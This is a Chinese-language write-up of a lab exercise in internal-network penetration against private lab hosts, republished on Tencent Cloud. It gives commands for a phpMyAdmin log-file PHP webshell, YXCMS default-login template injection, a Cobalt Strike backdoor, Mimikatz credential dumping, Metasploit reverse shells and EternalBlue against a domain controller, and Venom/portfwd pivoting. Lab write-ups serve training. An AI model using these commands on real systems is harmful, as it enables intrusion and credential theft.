前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一次简单的内网渗透靶场练习

一次简单的内网渗透靶场练习

作者头像
HACK学习
发布2020-11-03 15:08:35
1.8K0
发布2020-11-03 15:08:35
举报
文章被收录于专栏:HACK学习HACK学习
代码语言:javascript
复制
攻击机:KALI(192.168.122.130)
代码语言:javascript
复制
靶机:win7(外网IP:192.168.122.144或者192.168.122.142;
内网IP:192.168.52.143)win2008(内网IP:192.168.52.138)
win08(内网IP:192.168.52.141)

访问目标站点,http://192.168.122.142/yxcms/

方法一:弱口令登录phpmyadmin拿权限

进入phpmyadmin

对目标站点IP进行端口扫描,发现80和3306端口开放

使用dirsearch进行目录扫描

尝试对phpmyadmin进行爆破

phpmyadmin存在弱口令,用户名:root,密码:root

phpMyAdmin 利用日志文件 getshell

在变量中搜索general,查看日志状态,返回结果如下

当开启general log为on时,所执行的sql语句都会出现在stu1.log文件中。那么,如果修改generallogfile的值,那么所执行的sql语句就会对应生成对应的文件中,进而getshell。所以为了get shell,我们将general log设为on,将general log file设为C:/phpStudy/WWW/test.php

通过执行查询语句将一句话木马插入到重新定义的日志文件test.php中

代码语言:javascript
复制
SELECT '<?php eval($_POST["cmd"]);?>'

看一下靶机上的test.php,一句话木马是否插入成功

插入成功后我们用蚁剑连接test.php

成功获取目标服务器权限...

方法二:利用已知cms漏洞getshell

进入管理后台

显而易见,目标靶机使用了yxcms,通过百度可以查询到yxcms的目录结构,得到yxcms的后台路径:/index.php?r=admin/index/login访问http://192.168.122.142/yxcms//index.php?r=admin/index/login

使用yxcms默认用户名密码,admin/123456登录后台,直接登录成功,接入管理后台页面

写入webshell

在前台模板功能中我们可以直接写入一句话木马

Burpsuite抓包后,并没有发现写入文件后返回具体文件路径

不过yxcms泄露了robots.txt

通过泄露的文件路径,一步一步推测找出我们上传的shell_test.php一句话木马

蚁剑连接shell_test.php

成功拿下靶机权限...

拿下服务器权限后就要植入后门,植入后门的方法大致有两种——MSF和Cobalts Strike。这里演示Cobalts Strike的方式。关于MSF生成后门

详见:https://www.cnblogs.com/C0ldCash/p/13733067.html

生成exe可执行后门

执行exe后门

利用蚁剑将exe后门上传到靶机

在蚁剑中使用终端命令行执行exe后门

Cobalt Strike中靶机上线

探测本机信息

1.执行系统命令

2.探测域信息

3.Mimikatz抓取本机密码

成功抓取本机Administrator用户开机密码

利用cobalt strike提权

提权到SYSTEM系统权限账户

内网信息收集的主要目的就是查找域控以及域内的其他主机

判断是否存在域

代码语言:javascript
复制
使用 ipconfig /all 查看 DNS 服务器:

发现 DNS 服务器名为 god.org,查看域信息:net view

Cobalt Strike自带的net view更好用,可以直接识别IP地址

代码语言:javascript
复制
查看主域信息:net view /domain
代码语言:javascript
复制
查看时间服务器:net time /domain(一般情况下,时间服务器就是域控)

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域;若是报错:发生系统错误 5,则存在域,但该用户不是域用户,可以进行提权到SYSTEM后执行),所以基本可以确定owa.god.org就是域GOD的域控

确认域控

代码语言:javascript
复制
利用 net group "domain controllers" /domain 命令直接找出域控制器:
代码语言:javascript
复制
域控制器为owa.god.org
对应IP为192.168.52.138

SMB Beacon

因为内网的目标机器192.168.52.138和192.168.52.141无法直接连接到KALI(192.168.122.130),所以需要CS派生smb beacon,让内网的主机连接到win7上。

代码语言:javascript
复制
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

新建一个listener

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beaconlisterner:

cobalt strike反弹shell给msf

反弹shell

配置msf进行监听

代码语言:javascript
复制
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.122.130
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit

在cobalt strike中新建listeners<font color="orange">(注意:cobalt strike中生成的payload要和msf中监听使用的payload一致)</font>

成功反弹shell

配置静态路由

代码语言:javascript
复制
meterpreter > run get_local_subnets   #查看网段/子网
meterpreter > run autoroute -s 192.168.52.0/24   #添加路由
meterpreter > run autoroute -p  #查看路由
meterpreter > background   #转入后台运行
代码语言:javascript
复制

msf进行内网扫描

1.使用msf自带netbios扫描内存活机器,发现存活机器两台,地址分别为192.168.52.141和192.168.52.138

2.对存活主机进行端口扫描

代码语言:javascript
复制
msf5 > use auxiliary/scanner/portscan/tcp
msf5 > set rhosts xxx.xxx.xxx
msf5 > set ports 80,135-139,3306,3389
msf5 > run

对192.168.52.138进行端口扫描,发现445端口开启

对192.168.52.141进行端口扫描,同样发现445端口开启

利用ms17-010进行攻击

使用msf自带的ms17-010扫描模块对两个内网IP进行漏洞扫描

代码语言:javascript
复制
msf5 > search ms17-010
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

192.168.52.138和192.168.52.141都存在ms17-010漏洞,下面对漏洞进行利用

代码语言:javascript
复制
msf5 auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.52.138
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
代码语言:javascript
复制

通过msf中的mimikatz抓取用户名密码

1、确认shell权限

确认shell为system权限,可以使用mimikatz抓取明文密码

2、加载mimikatz

代码语言:javascript
复制
load mimikatz

3、使用mimikatz抓取密码

代码语言:javascript
复制
代码语言:javascript
复制

meterpreter > msv  获取的是hash值
meterpreter > ssp  获取的是明文信息
meterpreter > wdigest  读取内存中存放的账号密码明文信息
meterpreter > kerberos 读取内存中存放的账号密码明文信息

截取当前桌面(截图)

代码语言:javascript
复制
screenshot

拿下域控权限

msf提供端口转发模块,具体命令如下

代码语言:javascript
复制
portfwd
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口

执行命令:portfwd add -l 9999 -r 192.168.52.138 -p 3389;将内网192.168.52.138的3389端口代理到9999端口

连接192.168.52.130:9999

成功控制域控

Venom介绍

从某个做内网工作的朋友口里面听到这个工具:Venom;这是一款为渗透测试人员设计的使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。这个工具在github上面链接;这个工具直接下载编译好的比较方便啦;

环境搭建

代码语言:javascript
复制
攻击机:KALI——192.168.122.130

跳板机:win7——公网IP:192.168.122.144;内网IP:192.168.52.143

靶机:win server 2008——内网IP:192.168.52.138
代码语言:javascript
复制

靶机只能与跳板机win7通信,不能直接连通外网。跳板机win7既可以与靶机winserver通信也可以与攻击机KALI通信

利用Venom进行内网端口转发

我们的目的是能够在外网访问到内网winserver的3389端口,取得内网服务器的控制权限。

内网监听

1、在KALI上使用Venom进行端口监听

代码语言:javascript
复制
./admin_linux_x64 -lport 4343

2、在跳板机win7上运行agent.exe

代码语言:javascript
复制
agent.exe -rhost 192.168.122.130 -rport 4343

攻击机KALI上监听成功

help //查看全部指令

常用指令包括listen,goto,show,shell,exit。这里执行show命令,可以看见刚刚进行连接的一个节点

使用goto跳转到节点1上

通过shell进入命令行中,并且执行系统命令

接下来exit退出,进行下一步的监听操作;在不退出1节点的基础上面执行listen 4343端口进行监听

3、在192.168.52.138上执行agent.exe -rhost 192.168.52.143 -rport 4343,执行成功了

再回到KALI上面进行查看一下,执行show命令,是否新增了一个节点;新增了一个节点

切换到节点2中;执行命令:goto 2

端口转发

代码语言:javascript
复制
rforward 192.168.52.138 3389 9999
代码语言:javascript
复制

将192.168.52.138的3389端口转发到KALI攻击机上的9999端口

远程连接KALI的9999端口

远程桌面连接成功

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 方法一:弱口令登录phpmyadmin拿权限
    • 进入phpmyadmin
      • phpMyAdmin 利用日志文件 getshell
      • 方法二:利用已知cms漏洞getshell
        • 进入管理后台
          • 写入webshell
            • 生成exe可执行后门
              • 执行exe后门
                • 利用cobalt strike提权
                • 判断是否存在域
                • 确认域控
                • SMB Beacon
                  • 反弹shell
                  • Venom介绍
                  • 利用Venom进行内网端口转发
                    • 内网监听
                    相关产品与服务
                    网站渗透测试
                    网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档